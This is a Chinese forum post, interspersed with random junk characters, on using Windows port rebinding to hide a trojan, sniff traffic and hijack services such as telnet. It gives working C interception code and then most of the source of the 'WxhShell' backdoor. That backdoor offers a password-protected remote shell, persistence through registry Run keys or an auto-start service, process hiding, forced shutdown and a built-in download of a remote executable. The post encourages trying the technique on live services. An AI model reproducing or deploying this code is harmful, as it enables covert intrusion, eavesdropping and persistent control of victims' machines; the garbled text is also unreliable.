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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %5.aC|^}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t ' _Au8  
n<\ W Vi  
  saddr.sin_family = AF_INET; HF>Gf2- C  
S3EM6`q'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s}yJkQb  
KKpO<TO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @=4K%SCw  
Q[?O+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rK 9  
ODa+s>a`^  
  这意味着什么?意味着可以进行如下的攻击: [^sv.  
0Yk@O) x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3{OY&   
H 6 i4>U*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) it V@U  
jzCSxuZ7O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2 |lm'Hf  
U,Py+c6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Teq1VK3Hr  
GPP{"6q5'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w;@DcX$]  
pd2Lc $O@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n-iy;L^b  
bV|(V>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oj\av~cI  
4JF)w;X}  
  #include mHcxK@qw  
  #include ?z,^QjQ}  
  #include IRy!8A=X  
  #include    K6"#&0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ::bK{yZm   
  int main() c *<"&  
  { 44;ZX$HL  
  WORD wVersionRequested; yO}RkRA  
  DWORD ret; ?S&pq?   
  WSADATA wsaData; m2&"}bI{  
  BOOL val; &%3$zgvR  
  SOCKADDR_IN saddr; Fl)p^uUtl  
  SOCKADDR_IN scaddr; f%r0K6p  
  int err; *a }NRf}W  
  SOCKET s; pZ4]K xX@  
  SOCKET sc; ,=o)R,[  
  int caddsize; P=v 0|Y*q|  
  HANDLE mt; %J)n#\  
  DWORD tid;   d#~^)r  
  wVersionRequested = MAKEWORD( 2, 2 ); x0aPY;,N0  
  err = WSAStartup( wVersionRequested, &wsaData ); =~;SUO  
  if ( err != 0 ) { ?1%/G<  
  printf("error!WSAStartup failed!\n"); 8z,i/:  
  return -1; }<?1\k  
  } 9nW/pv  
  saddr.sin_family = AF_INET; 1e=<df  
   xDtq@Rb}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =apcMW(zn  
#H]b Xr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g )H>Uu5@  
  saddr.sin_port = htons(23); Q.SLiI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8j~:p!@  
  { ] Tc!=SV  
  printf("error!socket failed!\n"); H"v3?g`S%  
  return -1; |0!oSNJ  
  } 7)Zk:53]  
  val = TRUE; /58]{MfrJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )C>4? )  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^(,qkq'u D  
  { `<R;^qCt  
  printf("error!setsockopt failed!\n"); %C&HR2  
  return -1; `LD#fg*  
  } ];@"-H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |a!AgvNF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P_:A%T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dOm`p W^  
Z.9 ?u;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aDJ\%  
  { ziFg+i%s  
  ret=GetLastError(); B^4D`0G[4  
  printf("error!bind failed!\n"); j9)WInYc:  
  return -1; 3@u<Sa  
  } a%3V< "f  
  listen(s,2); L`"PaIMz  
  while(1) <PBrW#:'  
  {  XL@Y!  
  caddsize = sizeof(scaddr); 5HWVK.  
  //接受连接请求 Z0yy<9q]2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?_Sf  
  if(sc!=INVALID_SOCKET) :4o08M%  
  { i={ :6K?^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q:OSQ~U_  
  if(mt==NULL) 7D5;lM[_  
  { v0pyyUqS  
  printf("Thread Creat Failed!\n"); pz'l9Gp;@  
  break; \etuIFQ#U  
  } hD OEJ  
  } g? 7%  
  CloseHandle(mt); AGwFD  
  } /SLAg&  
  closesocket(s); t- Rp_2t  
  WSACleanup(); ?Bg<74  
  return 0; UzLe#3MU  
  }   hAHZN^x&  
  DWORD WINAPI ClientThread(LPVOID lpParam) X^L)5n+$X  
  { M>Y ge~3  
  SOCKET ss = (SOCKET)lpParam; 1$cX` D`  
  SOCKET sc; [8Zq 1tU;G  
  unsigned char buf[4096]; "wk~[>  
  SOCKADDR_IN saddr; u_0&`zq  
  long num; &[]0yNG  
  DWORD val; Fi8'3/q-^  
  DWORD ret; OKDBzl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Vq7L:,N9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9 C-!I,  
  saddr.sin_family = AF_INET; ~N</;{}fL4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L%D:gy9o  
  saddr.sin_port = htons(23); eBZ^YY<*g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hdFIriE3  
  { L2v j)(  
  printf("error!socket failed!\n"); -#yLH  
  return -1; GyE-fB4C  
  } 6mH0|:CsY  
  val = 100; 6>I{Ik@>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aOWE\I c8  
  { ! E\xn^  
  ret = GetLastError();  ZzDE  
  return -1; y  @&Cn  
  } rh;@|/<l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n<C4-'^U[a  
  { #lA8yWxr  
  ret = GetLastError(); ]6wo]nV[P  
  return -1; eQBR*@x  
  } I+ZK \?Rs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =ytB\e  
  { '\[o>n2  
  printf("error!socket connect failed!\n"); kNX"Vo]1  
  closesocket(sc); :*GLLjS;  
  closesocket(ss); !P*1^8b`f  
  return -1; E;l|I A/7  
  } [qhQj\cK  
  while(1) +J`EBoIo  
  { \ Y[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $4yv)6G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v?Q|;<   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 } $:uN  
  num = recv(ss,buf,4096,0); OLAw Rha  
  if(num>0) 2t h\%  
  send(sc,buf,num,0); n[zP}YRr  
  else if(num==0) k(Z+(Y'{q~  
  break; /|{Yot e  
  num = recv(sc,buf,4096,0); y=!"++T]B<  
  if(num>0) p1B~:9y9X  
  send(ss,buf,num,0); E}U[VtaC  
  else if(num==0) #bX~.jKW  
  break; TV$Pl[m   
  } (<?6X9F:N  
  closesocket(ss); m>4jRr6sF  
  closesocket(sc); Y)@mL~){  
  return 0 ; :Mz$~o<  
  } S1Q2<<[  
\79KU   
voRr9E*n  
========================================================== 'I|A*rO  
b2OVg +3  
下边附上一个代码,,WXhSHELL q'kZ3 G   
CJA5w[m  
========================================================== cr!6qv1  
=$`xis\  
#include "stdafx.h" nZ?BC O  
,#G>&  
#include <stdio.h> 6< x0e;>  
#include <string.h> + QcgLq  
#include <windows.h> w,L PM+  
#include <winsock2.h> T( @y#09  
#include <winsvc.h> (P;z* "q  
#include <urlmon.h> =ogzq.+|  
.k5 TQt  
#pragma comment (lib, "Ws2_32.lib")  <b7 4L  
#pragma comment (lib, "urlmon.lib") -^=sxi,V  
 j{,3!  
#define MAX_USER   100 // 最大客户端连接数 oY@4G)5  
#define BUF_SOCK   200 // sock buffer 9z9z:PU  
#define KEY_BUFF   255 // 输入 buffer rM6^pzxe  
(g2?&b iuz  
#define REBOOT     0   // 重启 p8<Y5:`  
#define SHUTDOWN   1   // 关机 $x&@!/&|pv  
*@'4 A :A  
#define DEF_PORT   5000 // 监听端口 8zew8I~s  
G%N/]]ll  
#define REG_LEN     16   // 注册表键长度 %AbA(F  
#define SVC_LEN     80   // NT服务名长度 J{$+\  
+RexQE  
// 从dll定义API F"O{eK0T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +W+O7SK\y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b#h?O}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uq/#\7/rL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !4uTi [e  
(uG.s%I  
// wxhshell配置信息 QF/A-[V  
struct WSCFG { 3nt&Sf  
  int ws_port;         // 监听端口 =PXQ X(_  
  char ws_passstr[REG_LEN]; // 口令 et";*EZJX  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,<$6-3sC-  
  char ws_regname[REG_LEN]; // 注册表键名 ;2"#X2B  
  char ws_svcname[REG_LEN]; // 服务名 A:Z$i5%'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t59" [kQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ mm*S:Gt#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 loVUB'OSv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |B&KT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G5W6P7-<X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UeB8|z  
}5gAxR,  
}; ZbTU1Y/'   
*z4n2"<l  
// default Wxhshell configuration qM F'&  
struct WSCFG wscfg={DEF_PORT, ,)mqd2)+"  
    "xuhuanlingzhe", 6|U0"C#]  
    1, BCV<( @c  
    "Wxhshell", dj*%^cI  
    "Wxhshell", }IvJIr  
            "WxhShell Service", ;\7TQ9z  
    "Wrsky Windows CmdShell Service", )&di c6r  
    "Please Input Your Password: ", zI/)#^SQ  
  1, 0wZ_;FN*-  
  "http://www.wrsky.com/wxhshell.exe", <,qJ% kc  
  "Wxhshell.exe" dzDh V{  
    }; I}/o`oc  
G v[W)+3f  
// 消息定义模块 NVx`'Il8 "  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $Gb] K{e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .+3= H@8h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |+Z, 7~!  
char *msg_ws_ext="\n\rExit."; l c)*HYqU  
char *msg_ws_end="\n\rQuit."; ^.Cfa  
char *msg_ws_boot="\n\rReboot..."; X1U7$/t  
char *msg_ws_poff="\n\rShutdown..."; =jdO2MgSg*  
char *msg_ws_down="\n\rSave to "; Lv@JfN"O  
xB{0lI  
char *msg_ws_err="\n\rErr!"; }OO(uC2  
char *msg_ws_ok="\n\rOK!"; -jsNAQ  
g~_cYy  
char ExeFile[MAX_PATH]; :kSA^w8  
int nUser = 0; D+{h@^C9Z  
HANDLE handles[MAX_USER]; !!&H'XEJV  
int OsIsNt; Ggy_ Ctu  
v 1Yf:c  
SERVICE_STATUS       serviceStatus; cSCO7L2E18  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {\22C `9t  
B]dHMLzl  
// 函数声明 3/8o)9f.  
int Install(void); DQW^;Ls  
int Uninstall(void); 6Uq@v8mh  
int DownloadFile(char *sURL, SOCKET wsh); VKy:e.  
int Boot(int flag); j &)Xi^^  
void HideProc(void); :P`sK&b_  
int GetOsVer(void); b)@%gS\F  
int Wxhshell(SOCKET wsl); 3F2> &p|7  
void TalkWithClient(void *cs); 7k{Oae\$  
int CmdShell(SOCKET sock); DG8]FhD^b  
int StartFromService(void); &n|! '/H  
int StartWxhshell(LPSTR lpCmdLine); P ETrMu<  
V ~w(^;o@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [dFxW6n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qF=D,Dlz  
P8!Vcy938  
// 数据结构和表定义 CYrVP%xRA  
SERVICE_TABLE_ENTRY DispatchTable[] = +]H9:ARI  
{ +U&aK dQs  
{wscfg.ws_svcname, NTServiceMain},  X>OO4SV  
{NULL, NULL} Acr\2!))  
}; x<60=f[O2R  
r/=v;4.W  
// 自我安装 !q~s-~d^  
int Install(void) #C,M8~Q7  
{ i+T#z  
  char svExeFile[MAX_PATH]; )hj77~{ +  
  HKEY key; 2D`@$)KL  
  strcpy(svExeFile,ExeFile); #*q`/O5n  
)c5 M;/s  
// 如果是win9x系统,修改注册表设为自启动 aWek<Y~+  
if(!OsIsNt) { 9Q- /Yh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 D,PbAd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '-3AWBWI1  
  RegCloseKey(key); !>b>"\b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i`7{q~d=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iaXNf ])?  
  RegCloseKey(key); P{5p'g ,  
  return 0; t,= ta{ a  
    }  Z_F:H@-&  
  } .:Bjs*  
} wl2rw93  
else { /A\'_a|  
I<|)uK7  
// 如果是NT以上系统,安装为系统服务 (: 2:_FL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VaQ>g*(I  
if (schSCManager!=0) ;%2/  
{ ,@%1q)S?A  
  SC_HANDLE schService = CreateService Ei Wy`H;  
  ( @/H1}pM~  
  schSCManager, Je2o('MA  
  wscfg.ws_svcname, 0z/tceW'F  
  wscfg.ws_svcdisp, is?`tre\P  
  SERVICE_ALL_ACCESS, 85Q2c   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KL# F5\ E  
  SERVICE_AUTO_START, 53P\OG^G`  
  SERVICE_ERROR_NORMAL, Q6Y1Jr">X  
  svExeFile, ZgF-.(GV  
  NULL, _1hc^j  
  NULL, 9>u2; 'Ls  
  NULL, &#v^y 3r  
  NULL, SSycQ4[{o  
  NULL } IFZ$Y  
  ); xy46].x-  
  if (schService!=0) wx -NUTRim  
  { z %{>d#rw  
  CloseServiceHandle(schService); Z"'rc.>a  
  CloseServiceHandle(schSCManager); [VIdw 92  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); </tiNc  
  strcat(svExeFile,wscfg.ws_svcname); Gnp,~F"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TYWajcch  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *XS@Ku  
  RegCloseKey(key); P 482D)  
  return 0; iN+Dmq5  
    } LP_d}ve  
  } W+BM|'%}|  
  CloseServiceHandle(schSCManager); %75|+((fC  
} znhe]&Fw  
} ma@ws,H  
<M nzR  
return 1; 6#vD>@H  
} m'Z233Nt"  
j]rE0Og  
// 自我卸载 >4}+\ Q`S  
int Uninstall(void) h'^7xDw  
{ 2/=CrK  
  HKEY key; )`F? {Sg  
#Bj{ 4OeV  
if(!OsIsNt) { LdR}v%EH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *ntq;]  
  RegDeleteValue(key,wscfg.ws_regname); 4Cke(G  
  RegCloseKey(key); ~cy/\/oO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SEXeK2v  
  RegDeleteValue(key,wscfg.ws_regname); a1 M-F3  
  RegCloseKey(key); yk!,{Q?<$  
  return 0; 15VOQE5Fl`  
  } ps"crV-W  
} cKh{ s  
} f<9H#S:  
else { g[*+R9'  
#tN)OZA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (S0MqX*  
if (schSCManager!=0) 'Fo*h6=  
{ #<0%_Ca  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c.m ' %4  
  if (schService!=0) +`kfcA#pi  
  { {5 -4^|!  
  if(DeleteService(schService)!=0) { K8Gc5#OF  
  CloseServiceHandle(schService); |@]J*Kh  
  CloseServiceHandle(schSCManager); =+~e44!~D  
  return 0; bM_Y(TgJ  
  } ?;,s=2  
  CloseServiceHandle(schService); @YdS_W  
  } .a:"B\B`  
  CloseServiceHandle(schSCManager); \E9Z H3;  
} Zw| IY9D  
} 6(sqS~D  
d{hb gUSj  
return 1; D#x D-c  
} -Vn9YeH+  
c?CwxI_b8  
// 从指定url下载文件 gZ   
int DownloadFile(char *sURL, SOCKET wsh) x%B^hH;W  
{ ~Lhq7;=H?O  
  HRESULT hr; _zI9 5  
char seps[]= "/"; 9@./=5N~3  
char *token; HC*=E.J  
char *file; Kpz>si?CL  
char myURL[MAX_PATH]; ) I 4d_]&  
char myFILE[MAX_PATH]; N6cf`xye  
&BqRyUM$F  
strcpy(myURL,sURL); ,IA0n79  
  token=strtok(myURL,seps); ~;aSX1   
  while(token!=NULL) r|:|\"Yk  
  { A`Z!=og=  
    file=token; ]7O)iq%  
  token=strtok(NULL,seps); ^)rX27!G  
  } <?&GBCe  
Tc,Bv7:  
GetCurrentDirectory(MAX_PATH,myFILE); l^:m!SA_  
strcat(myFILE, "\\"); LVq3 R 8A  
strcat(myFILE, file); <(6@l@J|6  
  send(wsh,myFILE,strlen(myFILE),0); 699z@>$}  
send(wsh,"...",3,0); Z8(1QU,~2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); = PcmJG]  
  if(hr==S_OK) "BK'<j^q  
return 0; %O%+TR7Z  
else ED"@!M`1  
return 1; <>A:Oi3^  
a k@0M[d  
} @j`_)Y\  
oR5hMu;j+  
// 系统电源模块 C#emmg!a\  
int Boot(int flag) /YR*KxIx  
{ N $M#3Y;  
  HANDLE hToken; Z%D*2wm4  
  TOKEN_PRIVILEGES tkp; Z_}vjk~s  
7e/Uc!&*  
  if(OsIsNt) { 1B+MCt4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zPe4WE|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R/waWz\D  
    tkp.PrivilegeCount = 1; %'kaNpBz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v$K`C;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lInq=  
if(flag==REBOOT) { 3Ku!;uo!u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ; @ h{-@  
  return 0; -?!|W-}@G=  
} @%IZKYf c~  
else { p \; * :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HD IB GG~  
  return 0; 8js5/G+  
} Z=sy~6m+v  
  } $R2T)  
  else { ta> g:  
if(flag==REBOOT) { Dp6]!;kx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `FH Hh  
  return 0; FviLlly6  
} -TU7GCb=  
else { Nb>|9nu O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ME[Wg\  
  return 0; -9~kp'_a  
} L5(rP\B  
} ' jZ2^  
v!E0/ gD  
return 1; E8T4Nh_  
} @b=tjQO_  
5`{+y]  
// win9x进程隐藏模块 5z~Ji77!  
void HideProc(void) C?#if;c  
{ 30*^ERO  
/,"Z^=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DIB Az s  
  if ( hKernel != NULL ) &32qv` V_  
  { ;DL|%-%;$r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b,Ed}Ir  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DifRpj I-0  
    FreeLibrary(hKernel); N;>>HN[bBP  
  } fGcAkEstT!  
d@b0z$<s  
return; tE]g*]o  
} SIKy8?Fn  
3I^KJ/)A  
// 获取操作系统版本 brb8C%j}9  
int GetOsVer(void) jZ7/p^c5R  
{ V`TXn[7  
  OSVERSIONINFO winfo; /R8>f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RV.z xPw>>  
  GetVersionEx(&winfo); $|C%G6!s?@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yUq,9.6Ig  
  return 1; gd_w;{WP  
  else NZ e3 m  
  return 0; xB68RQe)  
} >a%NC'~rc  
N:)`+}  
// 客户端句柄模块 ]}<.Y[!S  
int Wxhshell(SOCKET wsl) !w[<?+%%n  
{ `=^29LC#  
  SOCKET wsh; /SY40;k:  
  struct sockaddr_in client; - DlKFN  
  DWORD myID; NS#qein~i  
%;!@\5$  
  while(nUser<MAX_USER) xp7,0'(;  
{ [zm&}$nnN  
  int nSize=sizeof(client); %/oOM\} ++  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,cWO Ak  
  if(wsh==INVALID_SOCKET) return 1; F4k<YU  
w eT33O"!1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HyiuU`  
if(handles[nUser]==0) VD,F?L!  
  closesocket(wsh); 6.6~w\fR8  
else si/F\NDT   
  nUser++; zpZlA_   
  } WnLgpt2G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -fj;9('YJ  
CJJ 1aM  
  return 0; =9\=5_V  
} C:hfI;*7  
+N5G4t#.  
// 关闭 socket *GfGyOS(  
void CloseIt(SOCKET wsh) ?f1%)]>   
{ 76c4~IG#  
closesocket(wsh); r4gkSwy  
nUser--; blid* @-  
ExitThread(0); }Tu_?b`RUm  
} @?aNvWeavH  
x]euNa  
// 客户端请求句柄 Eof1sTpA  
void TalkWithClient(void *cs) BgA\l+  
{ HLN rI0  
29Kuq;6  
  SOCKET wsh=(SOCKET)cs; x1/Usupi  
  char pwd[SVC_LEN];  c?}C {  
  char cmd[KEY_BUFF]; 3! dD!'  
char chr[1]; j5R= K*y  
int i,j; x~$P.X7(~  
GLwL'C'591  
  while (nUser < MAX_USER) { BXa1 [7Z  
UIL5K   
if(wscfg.ws_passstr) { 8.o[K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Al3Hu-Hf;`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); st{:] yTRk  
  //ZeroMemory(pwd,KEY_BUFF); S5" xb  
      i=0; u4IgPCTZ+  
  while(i<SVC_LEN) { +=$\7z>s  
 .#zx[Io  
  // 设置超时 mZ/?uPIa  
  fd_set FdRead; ,'Y*e[  
  struct timeval TimeOut; N,(@k[uta  
  FD_ZERO(&FdRead); vn .wM  
  FD_SET(wsh,&FdRead); {Xwin $C  
  TimeOut.tv_sec=8; 1;fs`k0p  
  TimeOut.tv_usec=0; `.MM|6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5WO!u:!'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :B$=Pp1  
[_|i W%<`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -gu)d5b  
  pwd=chr[0]; <9"s&G@  
  if(chr[0]==0xd || chr[0]==0xa) { f4/!iiS}r  
  pwd=0; }.NR+:0  
  break; 18}L89S>  
  } bsr  
  i++; (^qcX;-  
    } *7ap[YXZ\w  
8ji!FZf  
  // 如果是非法用户,关闭 socket ,G"?fQ7zR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m]Z+u e  
} &'WgBjP  
*#N%3:@T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U^VFHIm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uji])e MN~  
/# 0@C[9  
while(1) { 5;`([oX|_  
?TMo6SU  
  ZeroMemory(cmd,KEY_BUFF); t82Bp[t  
IhM-a Y y5  
      // 自动支持客户端 telnet标准   CS50wY  
  j=0; ] X%bU*4  
  while(j<KEY_BUFF) { )09_CC!a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ksu:RJ-  
  cmd[j]=chr[0]; /iy2j8: z  
  if(chr[0]==0xa || chr[0]==0xd) { /J/r62  
  cmd[j]=0; HZ[&ZNTa  
  break; twf;{lZ(  
  } @*is]d+Ya  
  j++; 8Ral%I:gr  
    } ;f?OT7>kN  
d^ipf*aLC  
  // 下载文件 x[WT)  
  if(strstr(cmd,"http://")) { 3`^ ]#Dh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QdO$,i'  
  if(DownloadFile(cmd,wsh)) Z'S>i*Ts  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XiKv2vwA  
  else *fSa8CV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wLkHU"'   
  } m$QFtrvy  
  else { -W!g>^.  
" 8;D^  
    switch(cmd[0]) { /Klwh1E  
  js;IUSj.  
  // 帮助 lDMYDy{<  
  case '?': { `'0opoQRe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y)BKRS~  
    break; 5kC#uk  
  } t,k9:p  
  // 安装 D@DK9?#  
  case 'i': { [0/?(i|  
    if(Install()) qpp:h_E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CdWGb[uI  
    else %{zM> le9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? 1Z\=s  
    break; [C771~BL>  
    } iW* 0V3  
  // 卸载 XKks j!'B  
  case 'r': { `q$DNOrS  
    if(Uninstall()) H{yPi7 P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bpUN8BI[T  
    else 27u$VHwb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '\_ic=&u  
    break;  ~ikTo -  
    } @ o;m!CYB  
  // 显示 wxhshell 所在路径 V#3VRh  
  case 'p': { 2cy{d|c  
    char svExeFile[MAX_PATH]; I,  
    strcpy(svExeFile,"\n\r"); QL|Vke:N4  
      strcat(svExeFile,ExeFile); K =7(=Y{  
        send(wsh,svExeFile,strlen(svExeFile),0); r9*{)"  
    break; N3x}YHFF  
    } 1$Eiv8xd  
  // 重启 foL`{fA  
  case 'b': { vP,WV9Q1u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZO}V}3  
    if(Boot(REBOOT)) WZFV8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !knYD}Rxd  
    else { YVs{\1|'  
    closesocket(wsh); f5sk,Z  
    ExitThread(0); Nc;7KMOIA  
    } 4<LRa=XT$  
    break; fF *a/\h %  
    } }>tUkXlhJ<  
  // 关机 6fkL@It  
  case 'd': { rH-_L&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %mxG;w$  
